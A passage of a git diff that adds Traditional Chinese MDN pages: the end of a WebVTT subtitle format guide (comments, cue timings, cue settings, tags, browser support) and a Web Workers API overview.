+<h5 id="範例_1_-_最簡單的_WEBVTT_檔">範例 1 - 最簡單的 WEBVTT 檔</h5>
+
+<pre>  WEBVTT
+
+</pre>
+
+<h5 id="範例_2_-_很簡單的_WebVTT_檔">範例 2 - 很簡單的 WebVTT 檔</h5>
+
+<pre>  WEBVTT - 這個檔案沒有時間節點
+
+</pre>
+
+<h5 id="範例_3_-_常見的_WebVTT_例子">範例 3 - 常見的 WebVTT 例子</h5>
+
+<pre>  WEBVTT - 這個檔案有時間節點
+
+  14
+  00:01:14.815 --&gt; 00:01:18.114
+  - What?
+  - Where are we now?
+
+  15
+  00:01:18.171 --&gt; 00:01:20.991
+  - This is big bat country.
+
+  16
+  00:01:21.058 --&gt; 00:01:23.868
+  - [ Bats Screeching ]
+  - They won't get in your hair. They're after the bugs.
+</pre>
+
+<p> </p>
+
+<h2 id="WebVTT_註解">WebVTT 註解</h2>
+
+<p>Comments are an optional component that can be used to add information to a WebVTT file. Comments are intended for those reading the file and are not seen by users. Comments may contain newlines but it cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a comment.</p>
+
+<p>註解中不能包含「<code>--&gt;」字串、「</code>&amp;」符號或「&lt;」符號。如欲使用後兩者，可採跳脫字串「&amp;amp;」或「&amp;lt;」。此外雖規格上允許使用「&gt;」字元，仍然建議跳脫為「&amp;gt;」以避免混淆。</p>
+
+<p>註解由三個部分組成：</p>
+
+<ul>
+ <li>字串 <code>NOTE</code></li>
+ <li>一個空白字元或換行字元</li>
+ <li>選用：一個以上的字元，除了前面提到的禁用字元外皆可使用</li>
+</ul>
+
+<h5 id="範例_4_-_常見_WebVTT_範例">範例 4 - 常見 WebVTT 範例</h5>
+
+<pre>  NOTE 這行是註解
+</pre>
+
+<h5 id="範例_5_-_多行註解">範例 5 - 多行註解</h5>
+
+<pre>  NOTE
+  這也是註解，
+  只是拆成多行。
+
+  NOTE 當然也可以像這樣
+  來分行寫註解。
+</pre>
+
+<h5 id="範例_6_-_常見註解使用方式">範例 6 - 常見註解使用方式</h5>
+
+<pre>  WEBVTT - 翻譯我喜歡的影片字幕
+
+  NOTE
+  本字幕由 Kyle 翻譯，
+  希望可以讓我的朋友跟家人一同觀賞。
+
+  1
+  00:02:15.000 --&gt; 00:02:20.000
+  - Ta en kopp varmt te.
+  - Det är inte varmt.
+
+  2
+  00:02:20.000 --&gt; 00:02:25.000
+  - Har en kopp te.
+  - Det smakar som te.
+
+  NOTE This last line may not translate well.
+
+  3
+  00:02:25.000 --&gt; 00:02:30.000
+  -Ta en kopp.
+</pre>
+
+<p> </p>
+
+<h2 id="WebVTT_時間節點">WebVTT 時間節點</h2>
+
+<p>時間節點（cue）是具備單一開始時間、結束時間、文字內容的字幕區段。 Example 6 consists of the header, a blank line, and then five cues separated by blank lines. 時間節點由五個部分組成：</p>
+
+<ul>
+ <li>選用：時間節點 ID，後接著一個換行字元</li>
+ <li>時間資訊</li>
+ <li>選用：時間節點設定，每個設定值以空白字元分隔，第一個設定值前也要加個空白字元</li>
+ <li>一個以上的換行字元</li>
+ <li>文字內容</li>
+</ul>
+
+<h5 id="範例7_-_Example_of_a_cue">範例7 - Example of a cue</h5>
+
+<pre>1 - Title Crawl
+00:00:5.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+Some time ago in a place rather distant....</pre>
+
+<p> </p>
+
+<h3 id="節點_ID">節點 ID</h3>
+
+<p>此 ID 代表時間節點的名稱，可以用以在腳本語言中參照某段特定時間節點。ID 中禁用換行字元，也不可以包括「<code>--&gt;」字串。</code>ID 最後必須以一個換行字元作為結束。</p>
+
+<p>雖然通常都用數字（1, 2, 3...）作為 ID，但規格上並不要求每個 ID 都是為一值。</p>
+
+<h5 id="範例_8_-_範例_7_中的時間節點_ID">範例 8 - 範例 7 中的時間節點 ID</h5>
+
+<pre>1 - Title Crawl</pre>
+
+<h5 id="範例_9_-_ID_常見用法">範例 9 - ID 常見用法</h5>
+
+<pre>WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+This is the second.
+
+3
+00:00:34.159 --&gt; 00:00:35.743
+Third
+</pre>
+
+<p> </p>
+
+<h3 id="時間資訊">時間資訊</h3>
+
+<p>時間資訊標注了此段節點的出現時機，其中包括開始時間與結束時間。結束時間必須比開始時間晚，而開始時間必須比先前所有的開始時間晚，或至少是同一時間。</p>
+
+<p>不同時間節點可以設定為同時顯示，但若 WebVTT 檔案是用在 chapters（{{ HTMLElement("track") }} 的 {{ htmlattrxref("kind") }} 設定為 <code>chapters</code>），則不允許兩段節點同時出現。</p>
+
+<p>每項時間資訊都由五個部分組成：</p>
+
+<ul>
+ <li>開始時間</li>
+ <li>一個以上的空白字元</li>
+ <li>「<code>--&gt;」字串</code></li>
+ <li>一個以上的空白字元</li>
+ <li>結束時間
+  <ul>
+   <li>必須比開始時間晚</li>
+  </ul>
+ </li>
+</ul>
+
+<p>時間的表示方式，可以是以下兩種：</p>
+
+<ul>
+ <li><code>mm:ss.ttt</code></li>
+ <li><code>hh:mm:ss.ttt</code></li>
+</ul>
+
+<p>其中的各元素說明如下：</p>
+
+<ul>
+ <li><code>hh</code> - 小時
+
+  <ul>
+   <li>至少要有兩個數字，不小於 01</li>
+   <li>可以超過兩個數字（例如 9999:00:00.000）</li>
+  </ul>
+ </li>
+ <li><code>mm</code> - 分
+  <ul>
+   <li>從 00 到 59</li>
+  </ul>
+ </li>
+ <li><code>ss</code> - 秒
+  <ul>
+   <li>從 00 到 59</li>
+  </ul>
+ </li>
+ <li><code>ttt</code> - 毫秒
+  <ul>
+   <li>從 000 到 999</li>
+  </ul>
+ </li>
+</ul>
+
+<h5 id="Example_10_-_Basic_cue_timing_examples">Example 10 - Basic cue timing examples</h5>
+
+<pre>00:22.230 --&gt; 00:24.606
+00:30.739 --&gt; 00:00:34.074
+00:00:34.159 --&gt; 00:35.743
+00:00:35.827 --&gt; 00:00:40.122</pre>
+
+<h5 id="Example_11_-_Overlapping_cue_timing_examples">Example 11 - Overlapping cue timing examples</h5>
+
+<pre>00:00:00.000 --&gt; 00:00:10.000
+00:00:05.000 --&gt; 00:01:00.000
+00:00:30.000 --&gt; 00:00:50.000</pre>
+
+<h5 id="Example_12_-_Non-overlapping_cue_timing_examples">Example 12 - Non-overlapping cue timing examples</h5>
+
+<pre>00:00:00.000 --&gt; 00:00:10.000
+00:00:10.000 --&gt; 00:01:00.581
+00:01:00.581 --&gt; 00:02:00.100
+00:02:01.000 --&gt; 00:02:01.000</pre>
+
+<p> </p>
+
+<h3 id="Cue_Settings">Cue Settings</h3>
+
+<p>Cue settings are optional components used to position where the cue payload text will be displayed over the video. This includes whether the text is displayed horizontally or vertically. There can be zero or more of them, and they can be used in any order so long as each setting is used no more than once.</p>
+
+<p>The cue settings are added to the right of the cue timings. There must be one or more spaces between the cue timing and the first setting and between each setting. A setting's name and value are separated by a colon. The settings are case sensitive so use lower case as shown. There are five cue settings:</p>
+
+<ul>
+ <li><strong>vertical</strong>
+
+  <ul>
+   <li>水平方向</li>
+  </ul>
+
+  <table style="margin-left: 30px;">
+   <thead>
+    <tr>
+     <th colspan="2">Table 1 - vertical values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th><code>vertical:rl</code></th>
+     <td>文字方向由右至左</td>
+    </tr>
+    <tr>
+     <th><code>vertical:lr</code></th>
+     <td>文字方向由左至右</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>line</strong>
+  <ul>
+   <li>Specifies where text appears vertically. If vertical is set, line specifies where text appears horizontally.</li>
+   <li>Value can be a line number
+    <ul>
+     <li>The line height is the height of the first line of the cue as it appears on the video</li>
+     <li>Positive numbers indicate top down</li>
+     <li>Negative numbers indicate bottom up</li>
+    </ul>
+   </li>
+   <li>Or value can be a percentage
+    <ul>
+     <li>Must be an integer (i.e. no decimals) between 0 and 100 inclusive</li>
+     <li>Must be followed by a percent sign (%)</li>
+    </ul>
+   </li>
+  </ul>
+
+  <table style="margin-left: 30px;">
+   <thead>
+    <tr>
+     <th colspan="4">Table 2 - line examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th> </th>
+     <th><code>vertical</code> 省略時</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>line:0</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:-1</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+    <tr>
+     <th><code>line:0%</code></th>
+     <td>top</td>
+     <td>right</td>
+     <td>left</td>
+    </tr>
+    <tr>
+     <th><code>line:100%</code></th>
+     <td>bottom</td>
+     <td>left</td>
+     <td>right</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>position</strong>
+  <ul>
+   <li>Specifies where the text will appear horizontally. If vertical is set, position specifies where the text will appear vertically.</li>
+   <li>Value is a percentage</li>
+   <li>Must be an integer (no decimals) between 0 and 100 inclusive</li>
+   <li>Must be followed by a percent sign (%)</li>
+  </ul>
+
+  <table style="margin-left: 30px;">
+   <thead>
+    <tr>
+     <th colspan="4">Table 3 - position examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th> </th>
+     <th><code>vertical</code> 省略時</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>position:0%</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>position:100%</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>size</strong>
+  <ul>
+   <li>Specifies the width of the text area. If vertical is set, size specifies the height of the text area.</li>
+   <li>Value is a percentage</li>
+   <li>Must be an integer (i.e. no decimals) between 0 and 100 inclusive</li>
+   <li>Must be followed by a percent sign (%)</li>
+  </ul>
+
+  <table style="margin-left: 30px;">
+   <thead>
+    <tr>
+     <th colspan="4">Table 4 - size examples</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th> </th>
+     <th><code>vertical</code> 省略時</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>size:100%</code></th>
+     <td>full width</td>
+     <td>full height</td>
+     <td>full height</td>
+    </tr>
+    <tr>
+     <th><code>size:50%</code></th>
+     <td>half width</td>
+     <td>half height</td>
+     <td>half height</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li><strong>align</strong>
+  <ul>
+   <li>Specifies the alignment of the text. Text is aligned within the space given by the size cue setting if it is set.</li>
+  </ul>
+
+  <table style="margin-left: 30px;">
+   <thead>
+    <tr>
+     <th colspan="4">Table 5 - align values</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <th> </th>
+     <th><code>vertical</code> 省略時</th>
+     <th><code>vertical:rl</code></th>
+     <th><code>vertical:lr</code></th>
+    </tr>
+    <tr>
+     <th><code>align:start</code></th>
+     <td>left</td>
+     <td>top</td>
+     <td>top</td>
+    </tr>
+    <tr>
+     <th><code>align:middle</code></th>
+     <td>centred horizontally</td>
+     <td>centred vertically</td>
+     <td>centred vertically</td>
+    </tr>
+    <tr>
+     <th><code>align:end</code></th>
+     <td>right</td>
+     <td>bottom</td>
+     <td>bottom</td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+</ul>
+
+<h5 id="Example_13_-_Cue_setting_examples">Example 13 - Cue setting examples</h5>
+
+<p>The first line demonstrates no settings. The second line might be used to overlay text on a sign or label. The third line might be used for a title. The last line might be used for an Asian language.</p>
+
+<pre>00:00:5.000 --&gt; 00:00:10.000
+00:00:5.000 --&gt; 00:00:10.000 line:63% position:72% align:start
+00:00:5.000 --&gt; 00:00:10.000 line:0 position:20% size:60% align:start
+00:00:5.000 --&gt; 00:00:10.000 vertical:rt line:-1 align:end
+</pre>
+
+<p> </p>
+
+<h3 id="文字內容">文字內容</h3>
+
+<p>The payload is where the main information or content is located. In normal usage the payload contains the subtitles to be displayed. The payload text may contain newlines but it cannot contain a blank line, which is equivalent to two consecutive newlines. A blank line signifies the end of a cue.</p>
+
+<p>文字內容中不能包含「<code>--&gt;」字串、「</code>&amp;」符號或「&lt;」符號。如欲使用後兩者，可採跳脫字串「&amp;amp;」或「&amp;lt;」。此外雖規格上允許使用「&gt;」字元，仍然建議跳脫為「&amp;gt;」以避免混淆。若您使用 WebVTT 檔作為後設資料，則可不管這些限制。</p>
+
+<p>除了上述的三個跳脫字串外，還有其他四種跳脫字串，分列如下</p>
+
+<table>
+ <thead>
+  <tr>
+   <th colspan="3">Table 6 - 跳脫字串</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>名稱</th>
+   <th>字元</th>
+   <th>跳脫字串</th>
+  </tr>
+  <tr>
+   <td>「與」</td>
+   <td>&amp;</td>
+   <td><code>&amp;amp;</code></td>
+  </tr>
+  <tr>
+   <td>小於</td>
+   <td>&lt;</td>
+   <td><code>&amp;lt;</code></td>
+  </tr>
+  <tr>
+   <td>大於</td>
+   <td>&gt;</td>
+   <td><code>&amp;gt;</code></td>
+  </tr>
+  <tr>
+   <td>左到右標記</td>
+   <td> </td>
+   <td><code>&amp;lrm;</code></td>
+  </tr>
+  <tr>
+   <td>右到左標記</td>
+   <td> </td>
+   <td><code>&amp;rlm;</code></td>
+  </tr>
+  <tr>
+   <td>不斷行空白</td>
+   <td><code> </code></td>
+   <td><code>&amp;nbsp;</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="文字內容中的標籤">文字內容中的標籤</h3>
+
+<p>有很多標籤（例如 <code>&lt;bold&gt;</code>）可以用在文字內容中，但若 {{ HTMLElement("track") }} 的 {{ htmlattrxref("kind") }} 設定為 <code>chapters</code> 時，其中所用的 WebVTT  檔案裡就不能使用標籤。</p>
+
+<ul>
+ <li><strong>時間標籤</strong>
+
+  <ul>
+   <li>時間標籤中的時間，必須比該節點的開始時間晚、比同節點先前之其他時間標籤晚，並且早於該節點的結束時間。<em>當前文字（active text）</em> 代表此時間標籤到下個時間標籤（或文字內容的結尾）之間的文字，其他同節點中，比<em>當前文字</em> 早的文字都稱為<em>先前文字（previous text）</em> ，而晚於<em>當前文字</em> 的便稱為<em>未來文字（future text）</em> 。如此便可做出卡拉OK字幕效果</li>
+  </ul>
+
+  <div style="margin-left: 30px;">
+  <h5 id="Example_12_-_Karaoke_style_text">Example 12 - Karaoke style text</h5>
+
+  <pre>1
+00:16.500 --&gt; 00:18.500
+When the moon &lt;00:17.500&gt;hits your eye
+
+1
+00:00:18.500 --&gt; 00:00:20.500
+Like a &lt;00:19.000&gt;big-a &lt;00:19.500&gt;pizza &lt;00:20.000&gt;pie
+
+1
+00:00:20.500 --&gt; 00:00:21.500
+That's &lt;00:00:21.000&gt;amore
+      </pre>
+  </div>
+ </li>
+</ul>
+
+<p> </p>
+
+<p>以下則需要開頭標籤與結束標籤（例如 <code>&lt;b&gt;text&lt;/b&gt;</code>）。</p>
+
+<ul>
+ <li><strong>Class 標籤</strong>（<code>&lt;c&gt;&lt;/c&gt;</code>）
+
+  <ul>
+   <li>以 CSS 類別為該段文字設定樣式</li>
+  </ul>
+
+  <div style="margin-left: 30px;">
+  <h5 id="Example_14_-_Class_tag">Example 14 - Class tag</h5>
+
+  <pre>&lt;c.classname&gt;text&lt;/c&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Italics tag</strong> (<code>&lt;i&gt;&lt;/i&gt;</code>)
+  <ul>
+   <li>Italicize the contained text.</li>
+  </ul>
+
+  <div style="margin-left: 30px;">
+  <h5 id="Example_15_-_Italics_tag">Example 15 - Italics tag</h5>
+
+  <pre>&lt;i&gt;text&lt;/i&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Bold tag</strong> (<code>&lt;b&gt;&lt;/b&gt;</code>)
+  <ul>
+   <li>Bold the contained text.</li>
+  </ul>
+
+  <div style="margin-left: 30px;">
+  <h5 id="Example_16_-_Bold_tag">Example 16 - Bold tag</h5>
+
+  <pre>&lt;b&gt;text&lt;/b&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Underline tag</strong> (<code>&lt;u&gt;&lt;/u&gt;</code>)
+  <ul>
+   <li>Underline the contained text.</li>
+  </ul>
+
+  <div style="margin-left: 30px;">
+  <h5 id="Example_17_-_Underline_tag">Example 17 - Underline tag</h5>
+
+  <pre>&lt;u&gt;text&lt;/u&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby tag</strong> (<code>&lt;ruby&gt;&lt;/ruby&gt;</code>)
+  <ul>
+   <li>Used with ruby text tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e. small annotative characters above other characters).</li>
+  </ul>
+
+  <div style="margin-left: 30px;">
+  <h5 id="Example_18_-_Ruby_tag">Example 18 - Ruby tag</h5>
+
+  <pre>&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Ruby text tag</strong> (<code>&lt;rt&gt;&lt;/rt&gt;</code>)
+  <ul>
+   <li>Used with ruby tags to display <a href="http://en.wikipedia.org/wiki/Ruby_character">ruby characters</a> (i.e. small annotative characters above other characters).</li>
+  </ul>
+
+  <div style="margin-left: 30px;">
+  <h5 id="Example_19_-_Ruby_text_tag">Example 19 - Ruby text tag</h5>
+
+  <pre>&lt;ruby&gt;WWW&lt;rt&gt;World Wide Web&lt;/rt&gt;oui&lt;rt&gt;yes&lt;/rt&gt;&lt;/ruby&gt;</pre>
+  </div>
+ </li>
+ <li><strong>Voice tag</strong> (<code>&lt;v&gt;&lt;/v&gt;</code>)
+  <ul>
+   <li>Similar to class tag, also used to style the contained text using CSS.</li>
+  </ul>
+
+  <div style="margin-left: 30px;">
+  <h5 id="Example_20_-_Voice_tag">Example 20 - Voice tag</h5>
+
+  <pre>&lt;v Bob&gt;text&lt;/v&gt;</pre>
+  </div>
+ </li>
+</ul>
+
+<p> </p>
+
+<h2 id="瀏覽器支援">瀏覽器支援</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>18 以上</td>
+   <td>24 (<a href="https://wiki.mozilla.org/WebVTT" title="https://wiki.mozilla.org/WebVTT">預設為關閉</a>)</td>
+   <td>10 以上</td>
+   <td>15.0 以上</td>
+   <td> 7 以上</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IChrome for Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>4.4 以上</td>
+   <td>       目前尚不支援</td>
+   <td>         35.0 以上</td>
+   <td>   21.0 以上</td>
+   <td>7 以上</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<p> </p>
+</div>
+
+<h2 id="規格">規格</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/html5/webvtt/" title="http://dev.w3.org/html5/webvtt/">http://dev.w3.org/html5/webvtt/</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/web_workers_api/index.html b/files/zh-tw/web/api/web_workers_api/index.html
new file mode 100644
index 0000000000..ba18e065dd
--- /dev/null
+++ b/files/zh-tw/web/api/web_workers_api/index.html
@@ -0,0 +1,215 @@
+---
+title: Web Workers API
+slug: Web/API/Web_Workers_API
+translation_of: Web/API/Web_Workers_API
+---
+<p>{{DefaultAPISidebar("Web Workers API")}}</p>
+
+<p class="summary"><strong>Web Workers</strong> are a mechanism by which a script operation can be made to run in a background thread separate from the main execution thread of a web application. The advantage of this is that laborious processing can be performed in a separate thread, allowing the main (usually the UI) thread to run without being blocked/slowed down.</p>
+
+<h2 id="Web_Workers_concepts_and_usage">Web Workers concepts and usage</h2>
+
+<p>A worker is an object created using <code>a</code> constructor (e.g. {{domxref("Worker.Worker", "Worker()")}}) that runs a named JavaScript file — this file contains the code that will run in the worker thread; workers run in another global context that is different from the current {{domxref("window")}}. This context is represented by a {{domxref("DedicatedWorkerGlobalScope")}} object in the case of dedicated workers (standard workers that are utilized by a single script; shared workers use {{domxref("SharedWorkerGlobalScope")}}).</p>
+
+<p>You can run whatever code you like inside the worker thread, with some exceptions. For example, you can't directly manipulate the DOM from inside a worker, or use some default methods and properties of the {{domxref("window")}} object. But you can use a large number of items available under <code>window</code>, including <a href="/en-US/docs/WebSockets">WebSockets</a>, and data storage mechanisms like <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> and the Firefox OS-only <a href="/en-US/docs/Web/API/Data_Store_API">Data Store API</a>.  See <a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions and classes available to workers</a> for more details.</p>
+
+<p>Data is sent between workers and the main thread via a system of messages — both sides send their messages using the <code>postMessage()</code> method, and respond to messages via the <code>onmessage</code> event handler (the message is contained within the {{event("Message")}} event's data attribute.) The data is copied rather than shared.</p>
+
+<p>Workers may in turn spawn new workers, as long as those workers are hosted within the same origin as the parent page.  In addition, workers may use <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a> for network I/O, with the exception that the <code>responseXML</code> and <code>channel</code> attributes on <code>XMLHttpRequest</code> always return <code>null</code>.</p>
+
+<p>In addition to dedicated workers, there are other types of worker:</p>
+
+<ul>
+ <li>Shared workers are workers that can be utilized by multiple scripts running in different windows, IFrames, etc., as long as they are in the same domain as the worker. They are a little more complex than dedicated workers — scripts must communicate via an active port. See {{domxref("SharedWorker")}} for more details.</li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> essentially act as proxy servers that sit between web applications, and the browser and network (when available). They are intended to (amongst other things) enable the creation of effective offline experiences, intercepting network requests and taking appropriate action based on whether the network is available and updated assets reside on the server. They will also allow access to push notifications and background sync APIs.</li>
+ <li>Chrome Workers are a Firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to <a href="https://developer.mozilla.org/en/js-ctypes">js-ctypes</a> in your worker. See {{domxref("ChromeWorker")}} for more details. </li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a> provide the ability for direct scripted audio processing to be done inside a web worker context.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: As per the <a href="https://html.spec.whatwg.org/multipage/workers.html#runtime-script-errors-2">Web workers Spec</a>, worker error events should not bubble (see {{bug(1188141)}}. This has been implemented in Firefox 42.</p>
+</div>
+
+<h2 id="Web_Worker_interfaces">Web Worker interfaces</h2>
+
+<dl>
+ <dt>{{domxref("AbstractWorker")}}</dt>
+ <dd>Abstracts properties and methods common to all kind of workers (i.e. {{domxref("Worker")}} or {{domxref("SharedWorker")}}).</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Represents a running worker thread, allowing you to pass messages to the running worker code.</dd>
+ <dt>{{domxref("SharedWorker")}}</dt>
+ <dd>Represents a specific kind of worker that can be <em>accessed</em> from several browsing contexts, being several windows, iframes or even workers.</dd>
+ <dt>{{domxref("WorkerGlobalScope")}}</dt>
+ <dd>Represents the generic scope of any worker (doing the same job as {{domxref("Window")}} does for normal web content). Different types of worker have scope objects that inherit from this interface and add more specific features.</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope")}}</dt>
+ <dd>Represents the scope of a dedicated worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.</dd>
+ <dt>{{domxref("SharedWorkerGlobalScope")}}</dt>
+ <dd>Represents the scope of a shared worker, inheriting from {{domxref("WorkerGlobalScope")}} and adding some dedicated features.</dd>
+ <dt>{{domxref("WorkerNavigator")}}</dt>
+ <dd>Represents the identity and state of the user agent (the client):</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>We have created a couple of simple demos to show basic usage:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>).</li>
+</ul>
+
+<p>You can find out more information on how these demos work in <a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#toc-workers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers')}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(1.9.1)}}</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>Passing data using structured cloning</td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Passing data using  transferable objects</td>
+   <td>17 {{property_prefix("webkit")}}<br>
+    21</td>
+   <td>{{CompatGeckoDesktop(18)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Global {{domxref("window.URL", "URL")}}</td>
+   <td>10<sup>[1]</sup><br>
+    23</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>4</td>
+   <td>{{CompatGeckoMobile(1.9.1)}}</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>29</td>
+   <td>1.4</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Passing data using structured cloning</td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Passing data using  transferable objects</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>18</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] As <code>webkitURL</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/basic_usage">Using Web Workers</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">Worker Interface</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker">SharedWorker interface</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions and classes available to workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Advanced_concepts_and_examples">Advanced concepts and examples</a></li>
+ <li><a href="/en-US/docs/Web/API/ChromeWorker">ChromeWorker</a>: for using workers in privileged/chrome code</li>
+</ul>
diff --git a/files/zh-tw/web/api/web_workers_api/using_web_workers/index.html b/files/zh-tw/web/api/web_workers_api/using_web_workers/index.html
new file mode 100644
index 0000000000..82d484f6a2
--- /dev/null
